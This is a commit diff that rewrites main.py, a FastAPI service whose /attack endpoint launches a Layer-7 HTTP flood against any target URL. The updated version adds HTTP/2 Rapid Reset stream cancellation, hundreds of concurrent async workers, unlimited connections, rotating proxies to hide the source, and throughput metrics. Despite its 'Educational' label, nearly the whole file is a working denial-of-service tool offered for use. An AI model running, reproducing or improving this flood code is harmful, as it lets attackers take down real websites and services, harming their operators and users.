rkihacker commited on
Commit
f707f27
·
verified ·
1 Parent(s): 0591165

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +183 -76
main.py CHANGED
@@ -1,97 +1,204 @@
1
  # main.py
2
- import uvicorn
3
- from fastapi import FastAPI, HTTPException
4
- from pydantic import BaseModel
5
- import threading
6
- import requests
7
- import time
8
  import logging
9
- from typing import Optional
 
 
10
  from concurrent.futures import ThreadPoolExecutor
 
11
 
12
- logging.basicConfig(level=logging.INFO)
13
- logger = logging.getLogger(__name__)
14
-
15
- app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
16
-
17
- # Global attack control
18
- attack_active = False
19
- attack_thread = None
20
- executor = ThreadPoolExecutor(max_workers=500) # Adjustable max threads
21
 
22
- class AttackConfig(BaseModel):
23
- target: str # http:// or https://
24
- port: Optional[int] = None
25
- duration: int # seconds
26
- threads: int = 100 # number of concurrent threads
 
 
 
27
 
28
- def flood_target(target_url: str):
29
- headers = {
30
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
31
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
32
- "Connection": "keep-alive",
33
- "Cache-Control": "no-cache",
34
- "Pragma": "no-cache"
35
- }
36
- session = requests.Session()
37
- while attack_active:
38
- try:
39
- session.get(target_url, headers=headers, timeout=5, verify=False)
40
- except:
41
- pass # Ignore failures to keep flooding
42
 
43
- def start_attack(config: AttackConfig):
44
- global attack_active, attack_thread
45
- attack_active = True
 
 
 
46
 
47
- # Build target URL
48
- protocol = "https" if config.target.startswith("https") else "http"
49
- port = config.port or (443 if protocol == "https" else 80)
50
- target_url = f"{config.target}:{port}"
51
 
52
- logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
 
 
 
 
53
 
54
- # Launch threads
55
- futures = []
56
- for _ in range(config.threads):
57
- future = executor.submit(flood_target, target_url)
58
- futures.append(future)
59
 
60
- # Stop after duration
61
- time.sleep(config.duration)
62
- stop_attack()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
63
 
64
- logger.info("Attack completed.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
65
 
66
- def stop_attack():
67
- global attack_active
68
- attack_active = False
69
- logger.info("Attack stopped.")
70
 
71
- @app.post("/attack")
72
- def launch_attack(config: AttackConfig):
73
- global attack_thread
74
- if attack_thread and attack_thread.is_alive():
75
- raise HTTPException(status_code=400, detail="Attack already in progress")
 
 
76
 
77
- if config.threads > 1000:
78
- raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
79
 
80
- if config.duration > 300:
81
- raise HTTPException(status_code=400, detail="Max duration 300 seconds")
 
 
 
 
82
 
83
- attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
84
- attack_thread.start()
85
- return {"status": "attack_started", "config": config}
86
 
87
- @app.post("/stop")
88
- def stop():
89
- stop_attack()
90
- return {"status": "attack_stopped"}
 
 
91
 
92
- @app.get("/status")
93
- def status():
94
- return {"attack_active": attack_active}
95
 
96
  if __name__ == "__main__":
97
- uvicorn.run(app, host="0.0.0.0", port=8000)
 
 
 
 
 
 
 
 
 
 
 
1
  # main.py
2
+ import asyncio
 
 
 
 
 
3
  import logging
4
+ import signal
5
+ import sys
6
+ import threading
7
  from concurrent.futures import ThreadPoolExecutor
8
+ from typing import List, Optional
9
 
10
+ import httpx
11
+ import uvicorn
12
+ from fastapi import FastAPI, HTTPException
13
+ from pydantic import AnyHttpUrl, BaseModel, Field, PositiveInt, validator
 
 
 
 
 
14
 
15
+ # --------------------------------------------------------------------------- #
16
+ # Logging
17
+ # --------------------------------------------------------------------------- #
18
+ logging.basicConfig(
19
+ level=logging.INFO,
20
+ format="%(asctime)s %(levelname)s %(name)s | %(message)s",
21
+ )
22
+ log = logging.getLogger("l7")
23
 
24
+ # --------------------------------------------------------------------------- #
25
+ # FastAPI app
26
+ # --------------------------------------------------------------------------- #
27
+ app = FastAPI(title="Layer-7 Power Flood (Educational)")
 
 
 
 
 
 
 
 
 
 
28
 
29
+ # --------------------------------------------------------------------------- #
30
+ # Global attack state
31
+ # --------------------------------------------------------------------------- #
32
+ attack_task: Optional[asyncio.Task] = None
33
+ stop_event = asyncio.Event()
34
+ metrics = {"sent": 0, "err": 0, "start_ts": 0.0}
35
 
 
 
 
 
36
 
37
+ # --------------------------------------------------------------------------- #
38
+ # Pydantic models
39
+ # --------------------------------------------------------------------------- #
40
+ class Proxy(BaseModel):
41
+ url: str # e.g. "socks5://1.2.3.4:1080" or "http://user:pass@proxy:port"
42
 
 
 
 
 
 
43
 
44
+ class AttackConfig(BaseModel):
45
+ target: AnyHttpUrl = Field(..., description="http:// or https:// URL (no path)")
46
+ port: Optional[PositiveInt] = None
47
+ duration: PositiveInt = Field(..., ge=1, le=600, description="seconds")
48
+ threads: int = Field(-1, description="-1 = auto (CPU×100 workers)")
49
+ use_http2: bool = True
50
+ rapid_reset: bool = True
51
+ proxies: Optional[List[Proxy]] = None
52
+
53
+ @validator("target")
54
+ def strip_path(cls, v):
55
+ # Force only scheme + host (no path/query)
56
+ return str(v).split("/", 3)[0] + "//" + str(v).split("/", 3)[2].split("/", 1)[0]
57
+
58
+ # --------------------------------------------------------------------------- #
59
+ # Helper: rotating proxy transport
60
+ # --------------------------------------------------------------------------- #
61
+ def build_client(proxies: Optional[List[Proxy]], use_http2: bool) -> httpx.AsyncClient:
62
+ transport = None
63
+ if proxies:
64
+ import random
65
+ proxy = random.choice(proxies).url
66
+ transport = httpx.AsyncHTTPTransport(proxy=proxy, retries=1)
67
+
68
+ limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
69
+ return httpx.AsyncClient(
70
+ http1=not use_http2,
71
+ http2=use_http2,
72
+ limits=limits,
73
+ timeout=httpx.Timeout(8.0, connect=5.0),
74
+ verify=False,
75
+ transport=transport,
76
+ )
77
+
78
+ # --------------------------------------------------------------------------- #
79
+ # Core flood worker (HTTP/2 Rapid Reset + HTTP/1.1 fallback)
80
+ # --------------------------------------------------------------------------- #
81
+ async def flood_worker(client: httpx.AsyncClient, url: str, rapid_reset: bool):
82
+ global metrics
83
+ headers = {
84
+ "User-Agent": httpx._client._DEFAULT_USER_AGENT,
85
+ "Accept": "*/*",
86
+ "Cache-Control": "no-cache",
87
+ "Pragma": "no-cache",
88
+ "Connection": "keep-alive",
89
+ }
90
 
91
+ while not stop_event.is_set():
92
+ try:
93
+ if rapid_reset and client.http2:
94
+ # ---- HTTP/2 Rapid Reset ----
95
+ async with client.stream("GET", url, headers=headers) as response:
96
+ # Immediately cancel the stream
97
+ await response.aclose()
98
+ metrics["sent"] += 1
99
+ else:
100
+ # ---- Classic HTTP/1.1 GET ----
101
+ await client.get(url, headers=headers)
102
+ metrics["sent"] += 1
103
+ except Exception as e:
104
+ metrics["err"] += 1
105
+ # silently continue
106
+ await asyncio.sleep(0.001)
107
+
108
+
109
+ # --------------------------------------------------------------------------- #
110
+ # Attack orchestrator
111
+ # --------------------------------------------------------------------------- #
112
+ async def run_attack(config: AttackConfig):
113
+ global attack_task, metrics, stop_event
114
+
115
+ stop_event.clear()
116
+ metrics = {"sent": 0, "err": 0, "start_ts": asyncio.get_event_loop().time()}
117
+
118
+ # Resolve URL
119
+ scheme = "https" if config.target.startswith("https") else "http"
120
+ port = config.port or (443 if scheme == "https" else 80)
121
+ full_url = f"{config.target}:{port}"
122
+
123
+ log.info(
124
+ f"Starting flood → {full_url} | {config.duration}s | HTTP2={'ON' if config.use_http2 else 'OFF'} | RapidReset={'ON' if config.rapid_reset else 'OFF'}"
125
+ )
126
+
127
+ # Auto-threads
128
+ workers = config.threads
129
+ if workers == -1:
130
+ import os
131
+ workers = max(os.cpu_count() or 1, 1) * 100
132
+ log.info(f"Using {workers} concurrent workers")
133
+
134
+ # Build client (one per worker to avoid connection pooling limits)
135
+ client = build_client(config.proxies, config.use_http2)
136
+
137
+ # Launch workers
138
+ tasks = [
139
+ asyncio.create_task(flood_worker(client, full_url, config.rapid_reset))
140
+ for _ in range(workers)
141
+ ]
142
+
143
+ # Wait for duration
144
+ await asyncio.sleep(config.duration)
145
+ stop_event.set()
146
+ await asyncio.gather(*tasks, return_exceptions=True)
147
+ await client.aclose()
148
+
149
+ elapsed = asyncio.get_event_loop().time() - metrics["start_ts"]
150
+ rps = metrics["sent"] / elapsed if elapsed > 0 else 0
151
+ log.info(
152
+ f"Attack finished | Sent: {metrics['sent']:,} | Err: {metrics['err']:,} | RPS: {rps:,.0f}"
153
+ )
154
+
155
+
156
+ # --------------------------------------------------------------------------- #
157
+ # API endpoints
158
+ # --------------------------------------------------------------------------- #
159
+ @app.post("/attack")
160
+ async def launch_attack(cfg: AttackConfig):
161
+ global attack_task
162
+ if attack_task and not attack_task.done():
163
+ raise HTTPException(status_code=409, detail="Attack already running")
164
+ attack_task = asyncio.create_task(run_attack(cfg))
165
+ return {"status": "started", "config": cfg.dict()}
166
 
 
 
 
 
167
 
168
+ @app.post("/stop")
169
+ async def stop_attack():
170
+ global attack_task
171
+ if attack_task and not attack_task.done():
172
+ stop_event.set()
173
+ await attack_task
174
+ return {"status": "stopped"}
175
 
 
 
176
 
177
+ @app.get("/status")
178
+ async def status():
179
+ return {
180
+ "running": attack_task and not attack_task.done(),
181
+ "metrics": metrics,
182
+ }
183
 
 
 
 
184
 
185
+ # --------------------------------------------------------------------------- #
186
+ # Graceful shutdown
187
+ # --------------------------------------------------------------------------- #
188
+ def signal_handler():
189
+ log.info("Received shutdown signal")
190
+ stop_event.set()
191
 
 
 
 
192
 
193
  if __name__ == "__main__":
194
+ loop = asyncio.get_event_loop()
195
+ for sig in (signal.SIGINT, signal.SIGTERM):
196
+ loop.add_signal_handler(sig, signal_handler)
197
+
198
+ uvicorn.run(
199
+ "main:app",
200
+ host="0.0.0.0",
201
+ port=8000,
202
+ log_level="info",
203
+ workers=1, # single worker; all concurrency inside async tasks
204
+ )